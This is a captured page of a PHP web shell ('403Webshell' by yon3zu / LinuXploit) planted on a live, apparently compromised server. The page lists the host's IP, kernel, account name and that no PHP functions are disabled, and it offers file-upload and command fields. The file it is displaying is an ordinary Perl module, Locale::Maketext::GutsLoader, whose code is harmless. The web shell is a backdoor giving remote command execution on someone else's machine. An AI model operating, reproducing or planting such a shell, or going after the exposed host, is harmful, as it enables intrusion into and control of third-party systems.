403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.66
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/ssl/share/perl5/Locale/Maketext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/share/perl5/Locale/Maketext/GutsLoader.pm
package Locale::Maketext::GutsLoader;

$VERSION = '1.13';

use strict;
sub zorp { return scalar @_ }

BEGIN {
    $Locale::Maketext::GutsLoader::GUTSPATH = __FILE__;
    *Locale::Maketext::DEBUG = sub () {0}
    unless defined &Locale::Maketext::DEBUG;
}

#
# This whole drama is so that we can load the utf8'd code
# in Locale::Maketext::Guts, but if that fails, snip the
# utf8 and then try THAT.
#

$Locale::Maketext::GUTSPATH = '';
Locale::Maketext::DEBUG and warn "Requiring Locale::Maketext::Guts...\n";
eval 'require Locale::Maketext::Guts';

if ($@) {
    my $path = $Locale::Maketext::GUTSPATH;

    die "Can't load Locale::Maketext::Guts\nAborting" unless $path;

    die "No readable file $Locale::Maketext::GutsLoader::GUTSPATH\nAborting"
    unless -e $path and -f _ and -r _;

    open(IN, $path) or die "Can't read-open $path\nAborting";

    my $source;
    { local $/;  $source = <IN>; }
    close(IN);
    unless( $source =~ s/\b(use utf8)/# $1/ ) {
        Locale::Maketext::DEBUG and
        print "I didn't see 'use utf8' in $path\n";
    }
    eval $source;
    die "Can't compile $path\n...The error I got was:\n$@\nAborting" if $@;
    Locale::Maketext::DEBUG and warn "Non-utf8'd Locale::Maketext::Guts fine\n";
}
else {
    Locale::Maketext::DEBUG and warn "Loaded Locale::Maketext::Guts fine\n";
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit